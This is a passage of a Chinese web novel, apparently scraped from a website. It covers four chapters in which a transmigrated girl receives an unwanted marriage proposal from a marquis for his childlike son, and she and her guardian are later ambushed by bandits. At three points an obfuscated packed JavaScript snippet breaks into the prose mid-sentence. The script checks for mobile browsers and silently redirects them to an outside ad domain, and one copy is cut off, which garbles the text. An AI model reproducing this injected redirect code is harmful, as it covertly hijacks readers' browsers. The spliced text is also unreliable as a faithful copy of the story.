《嫁给侯爷家傻儿子》 1. 第一章 府中有喜事,四处张灯结彩,热闹非凡。 叶慈只觉得自己被人抱在怀里,她想说话,却只能伸出手,发出“咿咿呀呀”的声音。 一名白衣男人满脸慈爱地低头用手指逗她,如瀑黑发垂下来,叶慈调皮,不抓他的手指,反而伸手抓住他的一绺墨发。 四周都是欢声笑语。 “这孩子真是聪明。” “将来必成大器!再次恭喜……兄了!” 似乎有人叫了白衣男子的名讳,叶慈耳朵上却像是塞了一层棉花,怎么也听不清。 一个粉雕玉琢的小公子好奇地凑上来,他看起来不过也才三四岁的样子,话都说不利索,磕磕绊绊地说:“这是……妹妹……” 四周的大人笑了起来,有人将他抱起来,靠近了叶慈。 他伸出手,轻轻抚了一下叶慈的额头,便不好意思地别过头去。 叶慈只觉得此人仿佛有种天然的亲近,竟也不躲,反而直勾勾地盯着他,见他要抽手离开,反而一把抓住了他的食指! 四周响起一片惊叹之声。 “慈儿,你这般对这臭小子,却那般拽为父的头发,为父可要吃醋了!” “……兄莫吃醋,我看这正说明你闺女和我儿有缘啊!” “既然这般有缘,不如今日就定下红叶之盟,如何?” 叶慈左一耳朵右一耳朵地听着两个男人的谈话,见他们竟如此草率地要给自己定下娃娃亲,刚要发作,便眼前一黑。 …… 画面一转,四周忽然安静下来。 天上悬着一轮细细的弦月,几只寒鸦不知被什么声音惊到,扑腾几下翅膀飞走了,只留下两声不详的啼鸣。 室内灯影幽暗,今夜是没有风的,那烛芯却莫名摇晃一下。 一名男子站在她面前,与其说是站着,他一手持剑一手微微抬起的姿势更像是护在她面前。 这人穿着一身白衣,袖口束起,平日里不染纤尘的衣角此刻不知道从哪沾上了血污。 但这些都不及他背心处一道血痕触目惊心。 “快走!” 他似乎已是强弩之末,也不知是在跟谁说话,口中涌出的鲜血让他说话时有些口齿不清。 “快走!!!” 他再度催促,身形微微一晃,将眼前景象遮了个严实。 血光重重。 叶慈猛地惊醒,看见熟悉的茅草屋顶,心跳才渐渐平复下来。 她疲惫地揉了揉太阳穴,刚想起身,四处漏风的木门先被“吱呀”一声推开。 来人是个中年男人,身上肌肉虬结,长得五大三粗的,脸上还胡乐一圈杂草似的大胡子,但他动作却并不笨重,开门的动作甚至称得上灵巧,若非叶慈先被噩梦魇住惊醒,此刻应该连他开门的声音都听不到。 “师父……”叶慈哑声喊道,似乎还没恢复力气。 他看到叶慈脸上神情,微微皱了下眉头:“又做噩梦了?” 叶慈支起身子来,点了点头,末了又说:“师父,都说了多少次了,下次叫我起床敲门就行了……” 大胡子没好气地哼了一声:“咱家就这条件,我要是每天敲门叫你起床,估计这门过个三天就得换一次了。” 说罢摔门而去,木门重重关上,其中一根木板“咔嚓”一声裂了个缝,叶慈看着那扇颤颤巍巍的“门”,觉得他说的确实不无道理。 她还没得急下床,木门又被一把打开,扇起的风扬起一阵灰尘。 “还有,我说了多少次了,别叫我师父!”大胡子再次摔门离去,“哐”的一声,本就行将就木的门终于承受不住这种折腾,寿终正寝了。 叶慈无可奈何地叹了口气。 这是她穿来这个世界的第五年了,十二岁时,刚小学毕业的她睡了一觉,睁眼就来到了这个鬼地方,不仅生活条件艰苦到了连件换洗衣物都没有的地步,还落得个比举目无亲更惨的境地—— 消失的妈,欠债的爹,有人生没人养还要替爹还债的她。 好在她这个世界的爹平日里喜欢与人为善,才有了乔二这么个好兄弟,愿意在他死后替他还债。 不过也不知道这死鬼爹到底干了什么惊天地泣鬼神的坏事,乔二把自己卖了也还不起他欠的债,于是便带着叶慈躲到了这片小山村旁边的深山老林里,平日里砍柴为生,虽然活得憋屈,但只要不被欠债的找上,也勉强能过得下去。 ——当然,这都是乔二的一面之词。 叶慈刚穿过来时只有十二岁,心智还不成熟,虽然多少有些怀疑这个长得凶神恶煞的怪叔叔,但她独自一人确实很难在这个完全陌生的古代世界里生活下去,于是便一边防备着乔二,一边在这个小茅屋里安了家,一过就是五年。 “醒了就快出来干活!” “知道了!”叶慈应了一声。 这五年来,叶慈发现乔二虽然脾气古怪,但从没做过对她不利的事情,便也渐渐放下了戒心。 至于穿越这件事,这些年里她无论是找人打听还是翻看古籍,几乎能想的办法都试过了,在这个获取信息难于上青天的年代,寻遍了有关于“穿越”的线索也一无所获,于是逐渐开始变得不再执着了——反正她在那个世界也举目无亲,没什么好留恋的东西了。 叶慈用木盆里的水简单擦了把脸,看着水面倒映的自己。 这些年她虽然长在山野,每天风吹日晒,肤色却依然很白,鹅蛋脸,面如出水芙蓉,眉裁如柳叶,一双杏眼顾盼神飞,但最打眼的还是她额头上的一颗红痣,为她平添几分清冷,想不引人注目都难。 “慈姐姐救命啊!” 院子里响起一阵嘈杂,叶慈赶忙推门出去,便看到乔二像拎小鸡崽一样拎着一名少年的后领,将他从桌前扔到地上。 少年摔了个屁|股蹲,眼里全是泪花,一双桃花眼眼角微红,看叶慈从屋里出来,忙爬起来躲到她身后,委屈巴巴地叫她:“慈姐姐……” “这是怎么了,师……”乔二一道眼刀飞过来,叶慈话到嘴边拐了个弯,“乔二叔。” 乔二急赤白脸地拿起桌上一堆瓶瓶罐罐中的一个:“看你捡的小杂种,身为一个大男人,天天摆弄这些,像什么样子?!你也不阻拦,还……那叫什么来着,猪肘为虐!给他买这些脂粉东西?要我说给他买这些,还不如把家里的碎银都喂了猪好呢!” “二叔,是助纣为虐,还有咱家里没猪……”身后的少年声若蚊讷地反驳道。 “你!还敢顶嘴!” 乔二怒目一瞪,眼看抄家伙就要过来揍他,叶慈连忙拦住:“二叔,小涟年纪还小,他也只是对这些东西好奇罢了,爱美之心人皆有之,你若不喜欢,我以后便不买了,我今天便下山把这些东西退了!” 身后的人伸手拽了拽她的衣角:“慈姐姐……” 叶慈反握住他的手,拍了拍,小声对他说:“好了,明知道师父不喜你天天敷粉,还要让他瞧见,他不把你揍得屁|股开花就不错了。” “我没有……”小涟还想狡辩,却被叶慈一个眼神制止了。 乔二看他俩交头接耳的模样,深深叹了口气,几次拿起放下手中的那盒妆粉,最后还是放回了桌子上,妥协道:“行了,东西也别退了,你一个女儿家年纪也不小了,这些东西留着自己用,下次要是再让我发现你给那个小畜生用,我打断他的腿!” 叶慈连声应好,冲小涟使了个眼色,他才不情不愿的把那些胭脂水粉收到了叶慈屋里。 “过来练早功!”乔二瞪了眼叶慈,嘴里还碎碎念个不停,“当时捡到他的时候跟个泥猴似的,现在倒是比大姑娘还爱美。” 小涟大名叫祁涟,是叶慈十三岁那年在山中捡到的,那时他浑身是泥巴,瑟瑟发抖地拿着根树枝与饥肠辘辘的饿狼对峙,叶慈那时也不知怎么的,鬼迷了心窍似的,连自身安危也不顾了,一个箭步上前,用火把吓跑了野狼。 被救下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158832|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,祁涟便揪着叶慈的裤腿问她:“姐姐,你能带我回家吗?” 叶慈看着他那双水光潋滟的眼睛,心一软就答应了,回去以后磨了乔二好几日他才松口。 从那以后,叶慈便多了个便宜弟弟,只是这弟弟从小到大就肩不能扛手不能提,唯有爱美最在行,才长成个半大小子时就会给叶慈束各种发型,现在更是不敷粉连门都不出,亏得乔二是个五大三粗的钢铁直男,根本分不清祁涟脸上有没有粉,不然估计早就把他扫地出门了。 “二叔,”叶慈拿起一根木棍,在院子里站定,扎好马步,一边挥砍一边说,“我看小涟现在身体挺康健的,不如让他一起练吧。” 乔二斜乜她一眼:“你忘了那小畜生十五岁时不过只是跟我扎了次马步,就整整烧了三日,我可不敢让他练,他若再病,我就算把这茅屋卖了也给他看不起病!” 叶慈看过去,那茅草屋被风一吹,立马抖了三抖,觉得乔二所言不虚。 一根茅草被微风带着飘落下来,刚好落在她挥动的手臂上。 乔二并指敲在那里:“手臂抬高些。” 叶慈应声,将整条手臂都绷紧了。 她有时候觉得,乔二不太像在教她劈柴,更像在教她武功,但她问过乔二几次,得到的都是同一个答案——“就是普通劈柴而已”。 不过叶慈后来发现,与寻常樵夫不同,乔二劈柴总是劈得又快又好,不过一盏茶的功夫就能劈好两三捆,卖得也便宜,因此村民们也爱从他这买,他便攒了些银钱,起码他们三人开销都绰绰有余。 叶慈想,或许正是因为天天练功,乔二劈的柴才有这种独到之处吧。 “练功时要专心,不要天天想东想西的。”乔二又并指打在她背上。 叶慈连忙挺直背,冲乔二扬起一个笑脸:“知道啦师父。” 乔二眉毛一竖,作势又要生气,叶慈趁他还没发作改口道:“知道啦,乔二叔!” “二叔,”她接着问道,“你到底为什么不让我们叫你师父啊?” 乔二嘴角一抿,形成一个略有一些紧绷的弧度,张了张嘴,像是想说什么却没说出口,最后只是一个爆栗弹在叶慈额头上:“都说了多少次了,师父是能随便乱叫的吗?” 叶慈撇撇嘴:“可是你叫我们劈柴,还一把鼻涕一把尿地把我们拉扯大,不就是师父吗……” “姑娘家家的不要天天把这种词挂在嘴边……” 乔二话还没说完,山林道上传来一阵杂乱的脚步声,乔二立刻皱起眉头直起身,紧紧盯着那个方向,让叶慈想起来镇子里刘婶家养的护院犬听到生人脚步声的样子。 “您二位找到我就放心吧,一定给您办好……”一道尖细的声音由远及近。 接着是另一个声音响起:“那便好,这关乎小儿的……” 那声音有些低沉,叶慈听不真切,便也望向那个方向,那是唯一一条下山的路,当然也是山下人上山的必经之路,只不过碧渠村中除了采药人以外鲜少有人上山,因此叶慈几乎没有听到过那条路上有人语声。 她好奇地伸长了脖子,却看见最先出现的是一朵无比招摇的大红花,簪在一头黑发中间,让那个发髻看起来活像个大花盆。 那是山下碧渠村里的媒婆,她看着叶慈容貌姣好,每次叶慈下山她都要缠着给她介绍婆家。 媒婆身后跟了两个人,叶慈还没看清步伐,一道中年男人的身影便从层层树影后闪了出来。那人看着沉稳持重,叶慈却注意到,乔二的眼神在看到那个男人的瞬间似乎倏地变了。 她还没来得及细想原因,便听见一道年轻男人的声音在那两人后面响起:“爹爹——快、快到了吗?” 一道金色的身影快跑几步跟了上来。 那人的衣服通体绣了金线,在阳光下几乎照得叶慈睁不开眼,她还没看清来人的样子,便听到那道声音似乎陡然激动起来,喊道:“爹爹,这就是我以后的娘子姐姐吗!” 2. 第二章 叶慈听到这句话,额角猛然突突跳了两下,心中顿时升起一种不祥的预感。 “诶!赵小贵人真是聪明!这位就是你未来的娘子!”媒婆高声道,语气中的谄媚让叶慈下意识地皱皱眉,还没来得及反驳,便听到媒婆继续介绍道,“这位便是咱们碧渠村最厉害的樵夫家的小姑娘,叶慈。她出生时,眉间便带了一点朱砂痣,算命的说,那是天生菩萨相,是大慈大悲、大富大贵的命格,这肯定是您要找的人啊!” 媒婆说罢,夸张地甩了一下手中的手绢,又欲盖弥彰似的拿手绢掩住嘴,似乎生怕面前两位贵人觉得自己粗鲁一般。 “李婶,我都跟您说了好几次了,我暂时没有成亲的打算。”叶慈见她没经过自己同意,都把人直接带到山上来了,语气中带上了一丝不悦。 “哎呦呦我的小姑奶奶!”李媒婆夸张地掩住嘴,脚底下踩着小碎步挪到叶慈身边,“以往那些就算了,你可知道这回相中你的是什么人?” 叶慈打眼看过去,两人中父亲模样的中年男子站在那里便不怒自威,身穿棕底金色暗纹的袍子,却不像寻常有钱人家的老爷一般佝偻个身子,他身姿非常挺拔,臂膀和双腿看着都孔武有力,像是会武。 而旁边穿得金碧辉煌的那一位,叶慈方才被他晃了眼,没仔细看,这会儿望过去才发现,这位小公子虽然看起来略有些轻浮,但长相实在不错。 他眼头略尖,左边的内眼角处有一颗小痣,眼尾长而翘,略塌的睫毛下面是一双星子般有神的眸子。若单看眼睛,会觉得这人是一只看谁都多情的狐狸,但他鼻子却很挺,脸型也已经初初有了少年人的棱角,又为他平添几分冷毅。 叶慈实在很难为他的长相轻易地下一个定义,若非要说,应该就是个“漂亮的男人”吧。 “娘子姐姐!”似乎是意识到叶慈在看他,那小公子噔噔几步跑上前来,像是条摇尾巴的小狗。 他靠近时,叶慈能在他身上问道一股幽幽的药香,令人心神平和,她心中方才因为媒婆的唐突而燃起的怒火竟稍稍平复下去。 “轼流,不得无礼。”中年男人沉沉开口,制止了他。 叶慈飞快地移开目光,心中对二人的身份有了些猜测。 “小贵人您先别急,你娘子姐姐初次见你,害羞是正常的,先容我老婆子介绍一番。”媒婆说完,又转向叶慈。 “慈姐儿,想必你也猜到了吧,老婆子我这次为你说的便是这武安侯府的赵明予小公子!武安侯赵渊你知道吧?我大允朝唯一的异姓侯,而且还是世袭的!”媒婆压低声音,“侯府现在就这一位小公子,侯爷子侯夫人去世后又没再娶,人家还是娶你做正妻,以后享福的时候多着呢,你有什么不愿意的啊!” “哼!”叶慈还没答话,乔二却在旁边重重地冷哼了一声,“还过好日子呢,当今天底下谁又不知道这侯府小公子是个傻的,你说的倒是好听,正妻?我看实际上是嫁过去给人当娘吧!” “二叔!”叶慈没想到他将话说得这么难听,连忙制止他,作势要向武安侯道歉。 那人却摆摆手,竟然也不恼,说道:“这位兄弟说的没错,既然要提亲,便不该有所欺瞒。” 他步上前来,缓缓道:“我儿子明予,字轼流,年十九,十三岁那年生了一场大病,自此心智便停在了十三岁,后来我寻遍名医,也试过不少旁门左道,始终不得解法,从前觉得小儿既心智不全,也不应连累旁人,因此始终未曾娶亲。” 他说着,看向叶慈:“只是前几日得一高人指点,若得一女子,面容姣好,且眉间有一红痣,与小儿结连理,助小儿通人事,则小儿病证自可不治而愈。” 媒婆听了,在一旁连连点头,赵明予也似懂非懂地看着叶慈,笑着喊她:“娘子姐姐!” 乔二“嘁”了一声:“说得比唱得还好听,若真嫁过去,还不知要怎么受欺负。你们这些高门大户向来不讲理,说白了,若你儿子当真恢复了神智还好说,若这办法没用,岂不是拿我慈丫头的终身大事当儿戏?” 赵渊似乎也自知理亏,叹了口气:“成与不成,总要试过才知道,乔兄弟,我侯府愿奉上千金聘礼,不知如此诚意,你可满意?” “啧,不行就是不行,要我说啊,这婚事就是,”乔二摆摆手,“不合适。” “这……乔兄弟,当真半点商量的余地也没有?”赵渊说,“我侯府是诚心想迎叶慈姑娘做少夫人的……” 他话还没说完,一个青绿色的人影突然旋风一般冲出来,挡在叶慈面前:“谁说我慈姐姐要嫁人的!” 祁涟方才去准备饭菜,在灶台处不知把几人的对话听见了多少,此刻双手掐腰,活像村口骂街的泼皮:“不管给多少钱,慈姐姐都不嫁!” “这是?”饶是赵渊见过不少大场面,此刻也似乎有些不知所措,他向媒婆投去询问的眼神,后者却向他摇了摇头。 祁涟不爱出门,平时走三步都要喘口气歇歇,因此更是不爱下山,村中人只知道乔二家有个叶慈,却不知道还有个祁涟。 赵明予却好像并不怕他,他虽心智不全,身体年龄却已然十九,侯府又将他金尊玉贵地养着,个子高了祁涟一头,光|气势上就将他压了一截。 他也学着祁涟双手掐腰,低头俯视着他,问:“你是谁啊,凭什么来管我与娘子姐姐的事情?” “你!”祁涟一下子怒极,反倒语塞,“你胡说什么!什么娘子姐姐!你叫谁娘子呢!还是大户人家出来的,到底讲不讲规矩!还有,什么叫你和我姐姐的事情,我……我不许你把自己和她相提并论!” 祁涟平日在家都是可怜巴巴地躲在她身后,因此叶慈鲜少听到他如此脸红脖子粗地和别人争论,一时觉得饶有趣味,等到他吵完了才阻止道:“好了小涟,我没有出嫁的打算,你莫与……小公子争执,好吗?” 叶慈站近了才意识到赵明予有多人高马大,“小公子”这个称呼一时也变得更拗口了些。 “李婶,”她转向媒婆,“成亲是件大事,我不能这么草率地答应,你给我几日时间考虑,好吗?我下次下山,一定给你个答复。” 李媒婆“诶诶”地连声答应,眼神却止不住往祁涟身上飘:“这粉雕玉琢的小公子想必也尚未娶亲吧,不知可有心仪的人家?” 祁涟吓得一溜身躲到了叶慈身后,他身板瘦,发髻松松束着,方才做饭时挽起了半截袖子,露出纤细的半截小臂,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158833|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻担惊受怕的样子,像只收到惊吓的小白兔,倒真有几分弱柳扶风的味道。 叶慈用手把祁涟往身后一护:“先不劳李婶操心了。” 说罢,她又看向赵渊,虚虚见了个礼:“侯爷莫怪,您突然上门,寒舍简陋,未能好好招待。至于贵公子娶妻一事,想必方士所言应当另有其人,侯爷不妨再仔细寻上一寻,切莫在叶慈身上浪费时间,耽误了贵公子的病情。” 赵渊听完她一席话,看向叶慈的眼神中似乎多了几分赞许,他自认为是讲道理的人,否则若叶慈不愿意,以他的势力不是不能强行逼她入侯府的,只是他向来爱惜名声,强抢民女这种事,他不愿做,也不屑去做,于是他点点头:“叶姑娘说的有理,只是议亲一事,还望你再考虑考虑。” “慢走不送。”乔二大声喊道,“莫耽误我们吃饭!” “是该告辞了。”赵渊温声说,“只是在下还有最后一个请求,山路难行,可否请叶姑娘送我们一程?” “能自己上来不能自己下去吗……”祁涟仍躲在叶慈身后,幽幽地道。 “娘子姐姐陪我下山吧!”赵明予闻言,像是生怕叶慈不同去一般,直接上前一把抱住了叶慈的腰。 “你干什么!”祁涟在叶慈背后,小猫挠墙一般疯狂地挠赵明予的手。 叶慈听赵渊已自称“在下”,觉得再推脱下去,似乎有些太驳了侯府的面子,原本就没打算拒绝,但她没料到赵明予会突然靠近,还做出如此亲昵的举动,此刻被赵明予紧紧抱住,脸腾地一下红了。 这位小世子虽然只有十三岁心智,身体却早已长成青年,叶慈被他抱着,甚至能感受到他手臂上结实的肌肉,因为常年服药而沾上的药香再次蛮不讲理地钻入叶慈的鼻子,她竟然觉得有些好闻。 “你……你先放开我。”叶慈僵硬地拍了拍赵明予的背,“我……我答应,我送你们下去。” 赵明予抬头来看她,眼睛笑成了一湾月牙儿:“娘子姐姐对我真好!” “我与你们一起。”乔二陡然出声,打破了略显暧昧的气氛,“刚好要下山送批柴。” 于是二人随三位不速之客一同下山去,临走前祁涟咬着不知从哪来的手绢泪眼盈盈地叫他们早点回来,活像生怕被丈夫抛弃的糟糠之妻。 武安侯倒是信守承诺,一路上也没再提成亲的事,只是小世子却像是缠上了叶慈,一路“娘子姐姐”长“娘子姐姐”短地叫个不停,像条小尾巴一样一刻不离地跟在叶慈身边。 叶慈只当这是小孩心智,见了新人新鲜,便喜欢一直缠着。 李媒婆见状少不了打趣几句,被叶慈当耳旁风了。 乔二一路上却异常沉默,叶慈以为他是背着柴火下山太累,便主动替他扛了一捆——她虽长得白净娇柔,身体却一点也不柔弱,从小到大砍柴运柴这种活计便从来都累不着她。 但赵明予可不这么觉得,他见叶慈背柴火,就嚷着要替她分担,他虽练武,身体底子好,但干这些活却不见得在行,一捆柴火走了几步就掉了一半,乔二不肯让他再背,于是这些柴火就又兜兜转转回到了他的肩上。 他见没柴火背了,便去逗弄山间鸟雀,仍是一派天真景象。 3. 第三章 一行人就这么吵吵闹闹地行到了山脚——当然,主要是赵明予在吵闹,接着便分道扬镳了。 武安侯府位于距离碧渠村不远的茌宁,赵渊这次来,只是为了寻找叶慈这个符合方士口中所有条件的女子与他儿子成婚,既然事情不成,也不打算多留。 赵明予坐在马车上,掀开帘子,眼泛着泪花对叶慈告别:“娘子姐姐,你一定要记得来找我玩啊……” 驿馆道旁的海棠树开了花,微风一吹,便簌簌而下。 叶慈看着漫天的海棠花瓣,也不言语,只是微笑着朝他挥挥手。 她想,应当不会再见了。 —— 武安侯府二人的出现仿佛醉香楼花魁姑娘在抚琴时失误弹错的那一个音节,虽在叶慈的生活中惊起了小小波澜,但也只是短暂地打乱了她的日常,二人走后,日子仍如往日一般寻常。 叶慈送走了那两尊大佛,又与乔二一起交了柴火,用刚拿到的钱在糕点铺子买了些吃的。 “下次再来啊!” 糕点铺的孙婆婆将油纸包裹的糕点递给叶慈,叶慈拿出一块递给乔二,自己拿起另一块咬了一口,笑道:“真好吃!婆婆的手艺还是一如既往的好!” “诶诶,喜欢就好,下次婆婆再多给你装点。” 叶慈说完,才惊觉似乎暴露了自己经常偷着下山的事情,颇有些心虚地觑了一眼乔二。 乔二感受到她的眼神,没好气地说:“从前不让你下山,是怕你被你爹的债主认出来,你现在长大了,总是拘在山上也不是个事,想下山玩就下来吧。” “下山好,下山好啊!”孙婆婆也跟着附和,“慈丫头长得好,性子也好,多下来看看,保不准就被什么富贵人家看上了,也是好事一桩,好事一桩啊……” 叶慈被说中尴尬的事,一哽,含糊地应了几声,匆忙离开了。 她其实也知道,自己偷偷溜下山那一套根本瞒不过乔二,但他顶多叮嘱几句,并没有多说过什么,算是默许了。 她刚开始偷跑下山时其实也很注意,下雨时戴斗笠,晴天时便放下几缕碎发来遮挡额前显眼的红痣,碧渠村民风淳朴,没有城里那些女子不得抛头露面的规矩,她要是学着那些大家闺秀们戴幕篱遮容出门,恐怕才会引起围观呢。 但平时生活在山中不拘小节惯了,她虽有所遮掩,也总有不注意的时候。有时微风拂起她额前碎发,便会露出那颗红痣来,刚开始村民们看见了还时有惊异,后来也就习以为常了,因此叶慈的这颗痣在碧渠村,实在也算不上什么秘密。 叶慈拿着糕点边走边吃,边回应与她打招呼的乡亲们。 卖鱼的高大叔、浣纱的哑女青姐、饭馆的王掌柜,就连赌鬼独眼张见到她,也会热情地打上一声招呼。 反倒是一旁的乔二受了冷落。 村中人都知道他脾气古怪,但因为他劈的柴实在实惠好用,便也只当他沉默寡言,不好相处,大多数人知道叶慈是他的徒弟后都略有惊讶,也有爱嚼舌根的,尤其是向叶慈提亲未成的那几户,曾造谣说叶慈其实是乔二的童养媳,乔二听说后直接上门把人揍了一顿,从此以后,便没人再敢乱说了。 “诶胡伯伯,今天出摊这么早啊。”叶慈囫囵吞下手中的半块糕点,向糖人摊子的老伯打了个招呼。 胡伯话不多,“诶”了一声,叶慈从兜里翻出来几个铜板,递给胡伯,说:“胡伯伯,给我来个糖人。” “好嘞,画什么?” “嗯……”叶慈迟疑片刻,不知想到了什么,蓦地笑出了声,“就画一只……满地打滚的小猫吧。” “好嘞!” 胡伯手艺熟练,不消片刻,一只四脚朝天、好似在张牙舞爪地打滚的小猫便做好了。 “谢谢胡伯!”叶慈笑着接过,小心翼翼地把糖人放到油纸包里,手顿了一顿,又将糖人拿了出来,在乔二眼前一晃,炫耀似的问,“二叔,怎么样,像不像?” 乔二的嘴角似乎少见地翘了一下:“果然和家里那个小畜生是一个模子刻出来的。” 两人又买了些需要添置的东西,便启程上山回家。 山路虽难行,但两人都是体力好的熟手,脚程便快了许多,不过一刻便行到了半山腰。 山风微凉,吹得山间树叶沙沙作响。 “不对。”身侧的乔二突然停下脚步,警觉地皱起眉头。 “怎么了?”叶慈刚出声,就被乔二打断,他将食指竖在双唇前面,示意叶慈不要说话。 “有脚步声。”他轻声道。 叶慈吓得冷汗都出来了,凝神侧耳听去,刚开始只听到树叶摩擦的沙沙声,可仔细辨别过后,却果然在其中听到几道急促的脚步声。 “找个地方躲起来。”乔二指了个与脚步声相反的方向。 叶慈却摇了摇头:“我每天练功,说不定能对付几个呢?” 乔二狠狠斜了她一眼:“这可不是闹着玩的!” 叶慈还想反驳,却已经来不及了,一柄钢刀破风而至,转眼便到面门! 叶慈根本来不及反应,浑身僵硬得连动都动不了,眼见钢刀就要刺穿她的额头,她的双腿却像灌了铅似的,抬都抬不起来。 千钧一发之际,不知从哪飞来一粒石子,“哐”的一声,将钢刀击歪了半寸。 叶慈只感到耳旁一阵疾风,那钢刀几乎贴着她的脸飞了过去,割断了她半截鬓发。 她抬眼看去,只见乔二不知何时从地上捡了根粗木棍,冲她大喊:“快跑啊!” “二叔……”叶慈开口,才发现自己声音颤抖,甚至带着哭腔。 她虽然从小跟乔二在山里长大,但乔二其实除了带她练功、让她干点活以外,并没有让她吃过什么苦,更遑论遇上这么九死一生的境地,此刻她冷汗流了满身,别说跑了,她几乎腿软得动都没法动一下。 她颤抖着解开包袱,心想若是山匪便应该图财,大不了将钱财物什都给他们,东西没了都可以再买,人没了却是真没了。 犹豫之际,几名山匪打扮的壮汉出现在了林子那头,他们脚下不知使了什么步子,在崎岖山路上也仿佛如履平地,不过几个呼吸就欺身逼近了二人。 “留下买路财!”其中领头的那个开口大吼,声如洪钟,这一句仿佛又用了丹田之力,中气十足,惊得林中鸟雀乌压压飞走了一片。 叶慈也没好到哪去,她一阵耳鸣头晕,本就因为紧张而脱力的身体再次一软,竟直接摔倒下去。 她倒在地上,眼前一黑,晕了过去。 完全失去意识之前,叶慈似乎看到乔二飞身过来挡在她面前,手上不知道使了什么招式,竟将那名领头的山匪逼退半步。 师父还有这等本领?她迷迷糊糊地想着,之后便彻底陷入了昏迷。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158834|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而她不知道的是,在她晕过去之后,她熟悉的那个邋遢汉子乔二眼神倏地一变,鹰隼般犀利的目光几乎让他看起来像另一个人。 他拿着在林子里随手捡的那根木棍,斜着一劈,打在来人手腕上,那人的虎口竟直接被震裂了,就连手中的钢刀也应声而落! 他捂着手后退几步,嘴里却半声也不吭,显然也不是个好对付的。 土匪身后援兵飞身而至,三人竟是一模一样的装束,将乔二团团围住。 乔二讽刺一笑:“你们真是……哪家的山匪会像穿制服一样穿一模一样的衣服啊,就算演戏也不知道要演全套吗?” 其中一人不知从哪又摸出一把钢刀,扔给领头那人,那人稳稳接住,双手握住,将钢刀竖在胸前,像是什么功夫的起手式。 “少废话。”他沉声道。 “行。”乔二活动了一下手腕,那姿态不像是被三名恶徒包围,反倒像是在比武擂台之上请招的潇洒少侠——如果忽略他那张胡子拉碴的脸的话。 “你们一起上吧。” —— 叶慈睁开眼,入眼仍是熟悉的茅草屋顶。 她揉了揉后脑勺,仍觉得有些钝痛,这才突然想起自己此前经历了什么。 “师父!”她大喊一声,“师父怎么样了!” 说着就要翻身下床。 木门被“吱呀”一声推开,一圈熟悉的大胡子出现在门口。 “我说了多少次了……嘶……” 他话未说完,便被叶慈揪住胡子。 “师父,你是我师父吧?你没事?这到底是怎么回事?发生了什么?我怎么晕了?” “嘶……疼!”乔二鲜少喊疼,叶慈连忙松开手,顺着他的视线向下看去,才发现他右腿上绑着两个木板,此刻正腾在空中,只有左腿着地支撑着平衡。 “这是怎么了?”叶慈关切道。 “那天对付那几个小贼,受了点小伤。” 小贼?叶慈不可思议地看了一眼乔二,又将他上下打量了一遍,确认他似乎的确没有其他地方手上,这才放下心来。 叶慈扶着乔二到院里坐下,听他说:“那天你受了惊吓摔倒,不小心将头磕到路边的石头上,晕了过去。还好那几个山匪看着厉害,实际只会些花架子,我力气大,这才勉强把他们赶走,只不过也伤了条腿,倒是没什么大碍,已看过大夫了。” “真的?”叶慈半信半疑,那副惊险情形,竟被他说得这么轻描淡写。 “骗你不成。”乔二淡定地喝了口茶。 “慈姐姐——”叶慈没来得及细问,屋子里就飞出来一个青绿色的身影,摔到她怀里,一边抱着她的腰一边哭喊,“慈姐姐,你没事吧,吓死我了——” 叶慈摸了摸他的头:“没事,我这不是都醒了吗,只是可惜了给你买的糖人……” 祁涟直起身,献宝似的从胸口掏出一方四角折好的帕子,小心翼翼地掀开,里面正是那个糖人,只可惜已经碎成了两半。 叶慈“咦”了一声,心想她那时慌乱,不知将包袱丢在了哪,但那些山匪若是劫财,又怎么会放着包袱不管,反而专门找人打架? 况且那几人的身手,总觉得好像不是普通的山匪。 叶慈觉得不对劲,很不对劲,思来想去只有一种可能性,那些山匪莫不是她那便宜爹的债主雇来恐吓他们的? 4. 第四章 乔二像是看出了叶慈心中所想,突兀地咳嗽了一声:“咳,醒了就先吃饭吧,你晕了一下午,肚子肯定饿了吧。” 他不说叶慈还不觉得,一说顿时觉得腹中空空如也,因为武安侯一行人还有在山上遇到的意外,叶慈除了在镇上吃了块糕点以外,一整天都滴水未进,这会儿饿得几乎能吃下一头牛。 如今家里有两个病号,祁涟忙殷勤地去灶台那边将晚饭端了出来——几个粗面窝窝头,还有一盘拌野菜。 叶慈见了大失所望:“二叔,今天都这么辛苦了,咱能不能杀只鸡吃啊?” 乔二是个糙汉子,在叶慈十五岁之前,他们家桌上除了主食以外唯一的菜就是各种换着花样折腾的野菜,因着那时候叶慈还被禁止下山,山上采买又不便,他们几乎很少吃上荤菜。 买几只鸡养在家里这个提议还是后来叶慈提出的,乔二不会养鸡,这事便由她全权负责。 叶慈觉得,今天也是时候享受一下劳动成果了。 